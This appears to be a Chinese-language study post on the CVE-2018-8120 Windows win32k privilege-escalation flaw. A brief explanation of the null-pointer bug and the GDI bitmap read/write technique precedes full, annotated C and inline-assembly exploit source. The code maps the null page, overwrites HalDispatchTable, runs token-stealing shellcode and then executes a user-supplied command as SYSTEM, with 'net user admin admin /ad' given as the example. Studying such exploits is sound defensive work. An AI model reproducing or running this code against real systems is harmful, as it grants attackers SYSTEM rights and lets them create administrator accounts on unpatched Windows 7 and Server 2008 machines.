提权: shellcode大部分是拷贝访问令牌 token 原理: 拷贝进程pid为 4(这里为 4)的token 到当前进程的EPROCESS 中的token实现提权 漏洞的再次利用漏洞 bitmap 漏洞可以实现任意地址的读写 https://bbs.pediy.com/thread-225209.htm http://netsecurity.51cto.com/art/201703/534434.htm CVE-2018-8120的漏洞关键点有俩个: 1.没有检查空指针。导致可以在 null 页放 shellcode 2.有一个地址拷贝操作。bitmap 漏洞刚好要一个地址拷贝操作。

#define PSAPI_VERSION 1
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <intrin.h>  
//#pragma comment(lib,"ntdll.lib")
#pragma comment(lib, "Psapi.lib")



#ifndef _WIN64
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);

struct tagIMEINFO32
{
	unsigned int dwPrivateDataSize;
	unsigned int fdwProperty;
	unsigned int fdwConversionCaps;
	unsigned int fdwSentenceCaps;
	unsigned int fdwUICaps;
	unsigned int fdwSCSCaps;
	unsigned int fdwSelectCaps;
};

typedef struct tagIMEINFOEX
{
	HKL__ *hkl;
	tagIMEINFO32 ImeInfo;
	wchar_t wszUIClass[16];
	unsigned int fdwInitConvMode;
	int fInitOpen;
	int fLoadFlag;
	unsigned int dwProdVersion;
	unsigned int dwImeWinVersion;
	wchar_t wszImeDescription[50];
	wchar_t wszImeFile[80];
	__int32 fSysWow64Only : 1;
	__int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;

struct _HEAD
{
	void *h;
	unsigned int cLockObj;
};

struct tagKBDFILE
{
	_HEAD head;
	tagKBDFILE *pkfNext;
	void *hBase;
	void *pKbdTbl;
	unsigned int Size;
	void *pKbdNlsTbl;
	wchar_t awchDllName[32];
};

typedef struct _tagKL
{
	_HEAD head;
	_tagKL *pklNext;
	_tagKL *pklPrev;
	unsigned int dwKL_Flags;
	HKL__ *hkl;
	tagKBDFILE *spkf;
	tagKBDFILE *spkfPrimary;
	unsigned int dwFontSigs;
	unsigned int iBaseCharset;
	unsigned __int16 CodePage;
	wchar_t wchDiacritic;
	tagIMEINFOEX *piiex;
	unsigned int uNumTbl;
	tagKBDFILE **pspkfExtra;
	unsigned int dwLastKbdType;
	unsigned int dwLastKbdSubType;
	unsigned int dwKLID;
}tagKL, *P_tagKL;
DWORD gSyscall = 0;

__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
	_asm
	{

		mov esi, tmp;
		mov eax, gSyscall;
		mov edx, 0x7FFE0300;
		call dword ptr[edx];
		ret 4;
	}
}
#else
extern "C" void NtUserSetImeInfoEx(PVOID);
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG64           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);
#endif 

typedef struct
{
	LPVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	LPVOID pUserAddress;
} GDICELL;
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);

typedef BOOL(WINAPI *LPFN_GLPI)(
	PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
	PDWORD);

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
	OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile;


DWORD gTableOffset = 0;
HANDLE gManger, gWorker;

#ifdef _WIN64
ULONG64 gtable;
#else
DWORD gtable;
#endif

#ifdef _WIN64
ULONG64 getpeb()
{
#else
DWORD getpeb()
{
#endif
#ifdef _WIN64
	ULONG64 p = (ULONG64)__readgsqword(0x30);
	p = *(ULONG64*)(p + 0x60);
#else
	// fs18是指向当前段选择子的自身也就当前teb  面 fs0 是一条链 
	//读取fs中的偏移     fs [0] 与 fs [0x18](self) = teb 
	DWORD p = (DWORD)__readfsdword(0x18);
	//peb
	p = *(DWORD*)((char*)p + 0x30);
#endif
	return p;
}
#ifdef _WIN64
ULONG64 getgdi()
{
#else
//获取句柄表
DWORD getgdi()
{
#endif
#ifdef _WIN64
	return *(ULONG64*)(getpeb() + gTableOffset);
#else
	//表的偏移     gTableOffset = GdiSharedHandleTable  Gdi句柄表
	return *(DWORD*)(getpeb() + gTableOffset);
#endif

}
PVOID getpvscan0(HANDLE h)
{   
	//句柄表
	if (!gtable)
		gtable = getgdi();
#ifdef _WIN64
	ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL);  //64位直接就是地址
	GDICELL *c = (GDICELL*)p;
	return (char*)c->pKernelAddress + 0x50;
#else
	// LOWORD()得到一个32bit数的低16bit   句柄的最后两个字节是该结构在GdiSharedHandleTable数组中的索引(=>handle & 0xffff)
	DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; //32位的地址   如:0xfffff901 43e97000
	//拿到GDICELL
	GDICELL *c = (GDICELL*)p;
	//GDICELL结构的 pKernelAddress 成员指向 BASEOBJECT 结构  
	//BASEOBJECT 结构  的后面有一个特定的结构体 它的类型取决于该对象的类型。对于bitmaps来说,这是个 surface object 结构体
	//要内存中是这样的
	// 32bit size: 0x10
	// 64bit size: 0x18
	/*struct _BASEOBJECT
	{
		 IntPtr hHmgr;
		 UInt32 ulShareCount;
		 UInt16 cExclusiveLock;
		 UInt16 BaseFlags;
		 UIntPtr Tid;
	}*/
	// 32bit size: 0x34
	// 64bit size: 0x50
	// struct _SURFOBJ
	//{
	//	 IntPtr dhsurf;
	//	 IntPtr hsurf;
	//	 IntPtr dhpdev;
	//	 IntPtr hdev;
	//	 IntPtr sizlBitmap;
	//	 UIntPtr cjBits;
	//	 IntPtr pvBits;
	//	 IntPtr pvScan0; // offset => 32bit = 0x20 & 64bit = 0x38
	//	 UInt32 lDelta;
	//	 UInt32 iUniq;
	//	 UInt32 iBitmapFormat;
	//	 UInt16 iType;
	//	 UInt16 fjBitmap;
	//}
	//struct {
	//	BASEOBJECT  baseobject;   //32位为0x10
	//	SUUOBJ  surobj;
	//	......
	//}
	//拿到
	return (char*)c->pKernelAddress + 0x30;   //0x30 =sizeof(baseobject)0x10 +(pvscan0偏移)0x20 
#endif
}


#ifdef _WIN64
typedef unsigned __int64 QWORD, *PQWORD;
typedef  QWORD DT;
#else
typedef  DWORD DT;
#endif

extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
#ifdef _WIN64
extern "C" void shellcode08(void);
extern "C" void shellcode7(void);
#else

__declspec(noinline) int shellcode()
{
	__asm {
		pushad;// save registers state
		mov edx, g_kthread;   
		mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread   fs[0x120]= _KPRCB    再加4=_KTHREAD
		mov edx, g_EPROCESS;
		mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
		//32位下
		//_kthread 0x34为 KAPC_STATE结构为
		//typedef struct _KAPC_STATE {
		//	LIST_ENTRY ApcListHead[MaximumMode];       //线程的apc链表 只有两个 内核态和用户态
		//	struct _KPROCESS *Process;               //当前线程的进程体   PsGetCurrentProcess()   //0x38     g_EPROCESS = 0x38
		//	BOOLEAN KernelApcInProgress;              //内核APC正在执行
		//	BOOLEAN KernelApcPending;                 //内核APC正在等待执行
		//	BOOLEAN UserApcPending;                  //用户APC正在等待执行
		//} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
		//_kthread 0x34+4= _KPROCESS  _KPROCESS为_EPROCESS的第一个字段 也就是说等于_EPROCESS
		mov ecx, eax;// Copy current _EPROCESS structure     当前进程的 _EPROCESS   
		mov esi, g_EPROCESS_TokenOffset;   //Token
		mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
		mov edi, g_flink;
		mov ebx, g_PID;
	SearchSystemPID:
		mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
		sub eax, edi;
		cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId  判断是否等于0x4
		jne SearchSystemPID;

		mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
		mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process  //_EPROCESS.Token=SYSTEM_EPROCESS.Token
		popad;// restore registers state

		// recovery
		xor eax, eax;// Set NTSTATUS SUCCEESS

	}
}
#endif
DWORD GetCpuNumber()
{
	LPFN_GLPI glpi;
	BOOL done = FALSE;
	PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL;
	PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL;
	DWORD returnLength = 0;
	DWORD logicalProcessorCount = 0;
	DWORD numaNodeCount = 0;
	DWORD processorPackageCount = 0;
	DWORD byteOffset = 0;

	glpi = (LPFN_GLPI)GetProcAddress(
		GetModuleHandle(TEXT("kernel32")),
		"GetLogicalProcessorInformation");
	if (NULL == glpi)
	{
		puts("[-] GetLogicalProcessorInformation is not supported.");
		return (1);
	}

	while (!done)
	{
		DWORD rc = glpi(buffer, &returnLength);

		if (FALSE == rc)
		{
			if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
			{
				if (buffer)
					free(buffer);

				buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc(
					returnLength);

				if (NULL == buffer)
				{
					puts("[-] Error: Allocation failure");
					return (1);
				}
			}
			else
			{
				printf("[-] Error %d\n", GetLastError());
				return 1;
			}
		}
		else
		{
			done = TRUE;
		}
	}

	ptr = buffer;

	while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength)
	{
		switch (ptr->Relationship)
		{

		case RelationProcessorPackage:
			// Logical processors share a physical package.
			processorPackageCount++;

		default:
			break;
		}
		byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
		ptr++;
	}

	return processorPackageCount;
}
// detect extract kernel images.
char* DetectKernel(PDWORD offset)
{
	BOOL  pae = FALSE;
	*offset = 0;
	int tmp[4];
	RtlSecureZeroMemory(tmp, sizeof(tmp));
	__cpuid(tmp, 1);
	
	if (tmp[3]&0x40)
	{
		pae = TRUE;
	}

	if (GetCpuNumber()>1)
	{
#ifndef _WIN64
		if (pae)
		{
			*offset = 0x9000;
			return "ntkrpamp.exe";
		}
		else
#endif
		{
			return "ntkrnlmp.exe";
		}
	}
	else
	{
#ifndef _WIN64

		if (pae)
		{
			*offset = 0x9000;
			return "ntkrnlpa.exe";
		}
		else
#endif
		{
			return "ntoskrnl.exe";
		}
	}
}
//HalDispatchTable
PVOID leakHal()
{
	DT ntoskrnlBase;
	DT HalDTUser, HalDTOffset;
	HMODULE userKernel;
	char * FuncAddress = 0L;

	LPVOID drivers[1024];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
	{
		if (drivers[0])
		{
			ntoskrnlBase = (DT)drivers[0];
		}
	}
	else
	{
		printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
	}
	//	ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
	DWORD offset = 0;
	bool failback = false;
	char *kernel = DetectKernel(&offset);
	printf("[+] Detected kernel %s\n", kernel);
	userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (userKernel == NULL)
	{
		printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel);
		userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
		failback = true;
		if (userKernel == NULL)
		{
			puts("[-] Could not load ntoskrnl.exe");
			return FALSE;
		}
	}
	//获取内核分发表
	HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
	//计算偏移
	HalDTOffset = HalDTUser - (DT)userKernel;

	if (failback)
	{
		return (PVOID)(ntoskrnlBase + HalDTOffset + offset);
	}
	else
	{
		return (PVOID)(ntoskrnlBase + HalDTOffset);
	}
}
//main
void main()
{
	//参数个数
	int argc = 0;
	//参数数组
	wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
	puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)");
	fflush(stdout);
	if (argc != 2)
	{
		puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
		fflush(stdout);
		ExitProcess(0);
	}
	//获取ntdll的句柄
	HMODULE hntdll = GetModuleHandle(L"ntdll");
	PVOID overwrite_address;
	int overwrite_offset;
	ULONG Interval = 0;
	PVOID sc=0;
	//操作系统版本信息
	//typedef OSVERSIONINFOW OSVERSIONINFO;
	//typedef struct _OSVERSIONINFOW {
	//    DWORD dwOSVersionInfoSize;    //指定该数据结构的字节大小
	//    DWORD dwMajorVersion;        //操作系统的主版本号   5代表2000以上版本
	//    DWORD dwMinorVersion;       //操作系统的副版本号    0代表win2000. 1代表winxp
	//    DWORD dwBuildNumber;       //操作系统的创建号
	//    DWORD dwPlatformId;         //操作系统ID号
	//    WCHAR szCSDVersion[ 128 ];     // Maintenance string for PSS usage    关于操作系统的一些附加信息
	//} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;
	OSVERSIONINFOW osver;
	//避免优化编译器的意外的影响 初始化为0
	RtlSecureZeroMemory(&osver, sizeof(osver));
	osver.dwOSVersionInfoSize = sizeof(osver);
	//获取函数
	RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion");
	pRtlGetVersion(&osver);
	//操作系统的主版本号
	if (osver.dwMajorVersion == 5) {
#ifdef _WIN64
		g_EPROCESS_TokenOffset = 0x160;
		g_EPROCESS = 0x68;
		g_flink = 0xe0;
		g_PID = 0xd8;
		g_kthread = 0x188;
#else
		g_EPROCESS_TokenOffset = 0xd8;
		g_EPROCESS = 0x38;
		g_flink = 0x098;
		g_PID = 0x94;
		g_kthread = 0x124;
#endif
	}
	else if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
		gTableOffset = 0x0f8;
		if (osver.dwMinorVersion == 0)//win2008
		{
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x8;     // QueryIntervalProfile 
			sc = &shellcode08;
			g_EPROCESS_TokenOffset = 0x168;
			g_EPROCESS = 0x68;
			g_flink = 0xe0;
			g_PID = 0xe8;
			g_kthread = 0x188;
		}
		else
		{//win7
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x8;     // QueryIntervalProfile 
			sc = &shellcode7;
			g_EPROCESS_TokenOffset = 0x208;
			g_EPROCESS = 0x70;
			g_flink = 0x188;
			g_PID = 0x180;
			g_kthread = 0x188;
		}
		
#else
		
		gTableOffset = 0x094;
		if (osver.dwMinorVersion == 0)//win2008
		{  
			//计算要覆盖内核分发表中的地址
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x4;     // QueryIntervalProfile 
			gSyscall = 0x121b;
			g_EPROCESS_TokenOffset = 0xe0;
			g_EPROCESS = 0x48;
			g_flink = 0xa0;
			g_PID = 0x9c;
			g_kthread = 0x124;
		}
		else
		{//win7
			overwrite_address = (char*)leakHal();  // HalDispatchTable
			overwrite_offset = 0x4;     // QueryIntervalProfile 
			gSyscall = 0x1226;
			g_EPROCESS_TokenOffset = 0xf8;
			g_EPROCESS = 0x50;
			g_flink = 0xb8;
			g_PID = 0xb4;
			g_kthread = 0x124;
		}
#endif
	}
	else
	{
		printf("[-] Not supported version %d\n", osver.dwBuildNumber);
		ExitProcess(-1);
	}


	//获取申请内存有函数
	_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress((HMODULE)hntdll,"NtAllocateVirtualMemory");
	//地址
	PVOID addr = (PVOID)0x100;
	//一页
	DT size = 0x1000;


	if (!NtAllocateVirtualMemory) {
		printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
		fflush(stdout);
		ExitProcess(1);
	}
	//映射0页内存  MEM_RESERVE保留  MEM_COMMIT提交
	if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
	{
		puts("[-] Fail to alloc null page!");
		fflush(stdout);
		ExitProcess(2);
	}
	//创建窗口站对象与调用进程相关联并将它分配给当前会话
	HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);

	if (!hSta)
	{
		printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
		fflush(stdout);
		ExitProcess(3);
	}
	//改变进程关联的窗口站
	if (!SetProcessWindowStation(hSta))
	{
		printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
		fflush(stdout);
		ExitProcess(4);
	}
	unsigned int bbuf[0x60] = {0x90};
	//RtlSecureZeroMemory(bbuf, 0x60);
	//创建俩个位图
	HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
	HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);

	PVOID mpv = getpvscan0(gManger);
	PVOID wpv = getpvscan0(gWorker);

#ifndef _WIN64
	printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
	P_tagKL pkl = 0;
	//用作参数比较
	pkl->hkl = (HKL__ *)wpv;  
	//把wpv拷贝到mpv  
	//设置漏洞拷贝的目的地址,NtUserSetImeInfoEx 函数会把它的参数( WINDOWSTATION->spklList[index]->tagKL
	//->piiex这个成员里
	pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));

	IMEINFOEX ime;
	RtlSecureZeroMemory(&ime, sizeof(IMEINFOEX));
#else
	printf("[+] Get manager at %llx,worker at %llx\n", mpv, wpv);
	char* pkl = 0;
	*(DT*)(pkl + 0x28) = (DT)wpv;
	*(DT*)(pkl + 0x50) = (DT)mpv - sizeof(PVOID);

	char ime[0x200];
	RtlSecureZeroMemory(&ime, 0x200);
#endif // _WIN32
	fflush(stdout);
	// Initialize exploit parameters
	//设置参数ime结构的第一个字段 等于  wpv
	PVOID *p = (PVOID *)&ime;
	p[0] = (PVOID)wpv;
	p[1] = (PVOID)wpv;
	DWORD *pp = (DWORD *)&p[2];
	pp[0] = 0x180;
	pp[1] = 0xabcd;
	pp[2] = 6;
	pp[3] = 0x10000;
#ifndef _WIN64
	pp[5] = 0x4800200;
#else
	pp[6] = 0x4800200;
#endif // _WIN32
	// trigger vuln
	// bp win32k!SetImeInfoEx
	// bp win32k!NtUserSetImeInfoEx
	// modify the pvscan0 of manager!

	puts("[+] Triggering vulnerability...");
	fflush(stdout);
	fflush(stderr);
	NtUserSetImeInfoEx((PVOID)&ime);
	//QueryIntervalProfile 
	PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
#ifndef _WIN64
	sc = &shellcode;
	printf("[+] Overwriting...%lx\n", oaddr);
#else
	printf("[+] Overwriting...%llx\n", oaddr);
#endif // _WIN32
	fflush(stdout);

	PVOID pOrg = 0;
	//使用漏洞将 Worke的 rpvScan0 偏移量地址写入 Manager 的 pvScan0 值  也就是 Manager 的 pvScan0 值现在指向  Worke的 rpvScan0
	//使用 Manager 上的SetBitmapBits 来选择地址  也就是设置 Worke的 rpvScan0的值为选择地址 
	//然后在 Worker 上使用GetBitmapBits/ SetBitmapBits来读取/写入上一步设置的地址  
	//先设置oaddr到pvscan0 也就是pvscan0指向oaddr  
	SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
	//获取旧的地址也就是原理函数地址
	GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
	//设置shellcode  到pvscan0指向的地址
	SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);

	//获取函数
	NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");

	if (!NtQueryIntervalProfile) {
		fflush(stdout);
		fflush(stderr);
		printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
		ExitProcess(2);
	}
	puts("[+] Elevating privilege...");
	//调用
	NtQueryIntervalProfile(0x1337, &Interval);
	puts("[+] Cleaning up...");
	//把原理的函数地址设置回去
	SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
	SECURITY_ATTRIBUTES		sa;
	HANDLE					hRead, hWrite;
	byte					buf[40960] = { 0 };
	STARTUPINFOW			si;
	PROCESS_INFORMATION		pi;
	DWORD					bytesRead;
	RtlSecureZeroMemory(&si, sizeof(si));
	RtlSecureZeroMemory(&pi, sizeof(pi));
	RtlSecureZeroMemory(&sa, sizeof(sa));
	int br = 0;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		fflush(stdout);
		fflush(stderr);
		ExitProcess(5);
	}
	wprintf(L"[+] Trying to execute %s as SYSTEM...\n", argv[1]);
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfoW(&si);
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.lpDesktop = L"WinSta0\\Default";
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	wchar_t cmd[4096] = { 0 };
	lstrcpyW(cmd, argv[1]);
	//创建新的进程
	if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
	{
		fflush(stdout);
		fflush(stderr);
		CloseHandle(hWrite);
		CloseHandle(hRead);
		wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
		ExitProcess(6);
	}
	CloseHandle(hWrite);
	printf("[+] Process created with pid %d!\n", pi.dwProcessId);
	while (1)
	{
		if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
			break;
		br += bytesRead;
	}
	// 	HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
	// 	WriteConsoleA(h, buf, br, &bytesRead, 0);
	puts((char*)buf);
	fflush(stdout);
	fflush(stderr);
	CloseHandle(hRead);
	CloseHandle(pi.hProcess);
}

poc下载: https://github.com/alpha1ab/CVE-2018-8120 分析报告可以参考: http://www.freebuf.com/column/174182.html http://www.freebuf.com/column/173797.html